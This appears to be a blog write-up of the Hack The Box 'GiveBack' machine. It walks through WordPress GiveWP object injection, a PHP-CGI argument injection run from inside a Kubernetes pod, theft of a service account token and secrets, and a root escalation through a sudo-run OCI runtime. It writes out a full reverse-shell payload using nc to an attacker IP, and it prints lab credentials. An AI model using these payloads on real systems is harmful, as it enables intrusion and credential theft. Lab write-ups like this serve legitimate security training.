Hackthebox: Giveback
Overview
GiveBack is a medium-difficulty Hack The Box machine that starts with a WordPress 6.8.1 site running the vulnerable GiveWP donation plugin, exploitable via CVE-2024-5932 (unauthenticated PHP Object Injection) to get a reverse shell inside a Kubernetes pod. From inside the pod we discover an internal legacy CMS service with PHP-CGI exposed, exploit it via CVE-2024-4577 to get root in a second container, steal the mounted Kubernetes service account token (secret-reader-sa), dump cluster secrets containing a master password, and SSH into the host as babywyrm. For root, we abuse sudo /opt/debug β an OCI container runtime β by crafting a config that bind-mounts /root from the host and reads the flag.

Reconnaissance
1 | PORT STATE SERVICE VERSION |
SSH on port 22, nginx on port 80 serving WordPress 6.8.1. Enumerating the WordPress installation reveals the GiveWP donation plugin is active.
Foothold - CVE-2024-5932 (GiveWP PHP Object Injection)
GiveWP versions up to and including 3.14.1 are vulnerable to CVE-2024-5932 β an unauthenticated PHP Object Injection via the give_title parameter during donation processing. A POP chain exists that allows full RCE.
We use the public exploit from EQSTLab :
1 | βββ(kaliγΏkali)-[~/Desktop/CVE-2024-5932] |
The exploit injects a serialized PHP object chain into the give_title field, threading through Stripe\StripeObject -> GiveInsertPaymentData -> Faker\ValidGenerator with shell_exec as the validator. On our listener:
1 | βββ(kaliγΏkali)-[~/Desktop/CVE-2024-5932] |
The hostname beta-vino-wp-wordpress-7bdb994b9d-wbcm8 and the /opt/bitnami/wordpress path confirm we landed in a Bitnami WordPress Kubernetes pod.
Enumerating the Kubernetes Environment
Running env dumps a load of Kubernetes service variables:
1 | <-7bdb994b9d-wbcm8:/opt/bitnami/wordpress/wp-admin$ env |
The key takeaways here: WORDPRESS_DATABASE_PASSWORD=sW5sp4spa3u7RLyetrekE4oS, the MariaDB host, and most importantly LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000 β another service living inside the cluster.
We also find credentials mounted under /secrets:
1 | <ess-7bdb994b9d-wbcm8:/secrets$ cat mariadb-password |
Pivoting to the Legacy Intranet CMS
No curl or wget in the container, so we use PHPβs file_get_contents to reach the internal service:
1 | <-7bdb994b9d-wbcm8:/opt/bitnami/wordpress/wp-admin$ php -r '$data = "test=data"; $opts = ["http" => ["method" => "POST", "header" => "Content-Type: application/x-www-form-urlencoded", "content" => $data]]; $context = stream_context_create($opts); echo file_get_contents("http://10.43.2.241:5000", false, $context);' |
GiveBack LLC Internal CMS with /cgi-bin/php-cgi exposed and a developer note about Windows-style CGI handling being retained during migration to Linux. This is textbook CVE-2024-4577 .
CVE-2024-4577 (PHP-CGI Argument Injection)
We exploit the PHP-CGI handler using the soft-hyphen (%AD) bypass to inject allow_url_include and auto_prepend_file=php://input, sending a reverse shell as the POST body β all from inside the WordPress pod using PHP:
1 | <-7bdb994b9d-wbcm8:/opt/bitnami/wordpress/wp-admin$ php -r '$u="http://10.43.2.241:5000/cgi-bin/php-cgi?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input"; $d="nc 10.10.16.7 9002 -e sh"; $h="Content-Type: application/x-www-form-urlencoded\r\nUser-Agent: curl/7.79.1\r\n"; $ctx=stream_context_create(["http"=>["method"=>"POST","header"=>$h,"content"=>$d]]); echo file_get_contents($u,false,$ctx);' |
On our second listener:
1 | $ rlwrap nc -lvnp 9002 |
Root in the legacy CMS pod.
Stealing the Kubernetes Service Account Token
This pod has a service account token mounted at the default path:
1 | pwd |
Decoding the JWT payload reveals the service account is secret-reader-sa. We use it to query the Kubernetes Secrets API:
1 | $ rlwrap nc -lvnp 9002 |
The secret user-secret-babywyrm contains a MASTERPASS. Decoding it:
1 | $ echo N2xnandUYlVESG1wTWxTd1VZWU1RV24xNk1pWnJSNA== | base64 -d |
The secret name gives us the username babywyrm, and the MASTERPASS is the SSH password.
User Flag
1 | $ ssh [email protected] |
Privilege Escalation
Checking sudo privileges:
1 | babywyrm@giveback:~$ sudo -l |
(ALL) NOPASSWD: !ALL with (ALL) /opt/debug β we can run /opt/debug as root but it requires a password. Investigating the system, we find the seal-sync.service:
1 | babywyrm@giveback:~$ cat /etc/systemd/system/seal-sync.service |
The boot log at /var/log/boot_script.log confirms this service syncs sealed secrets from Kubernetes and sets the babywyrm system password. It also reveals boot.sh sets an administrative password. The MariaDB root password c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T from the K8s secrets dump doubles as the administrative password for /opt/debug.
/opt/debug is an OCI container runtime (runc-like). We craft a minimal OCI container spec that bind-mounts /root from the host and reads the flag:
1 | babywyrm@giveback:~$ mkdir -p ~/pwn |
Root Flag
1 | 84ed26973cc635eb25918fdd5d477419 |
That was it for GiveBack, hope you learned something new!
-0xkuje
- Title: Hackthebox: Giveback
- Author: Foued SAIDI
- Created at : 2026-02-23 17:06:50
- Updated at : 2026-02-23 19:11:38
- Link: https://kujen5.github.io/2026/02/23/Hackthebox-Giveback/
- License: This work is licensed under CC BY-NC-SA 4.0.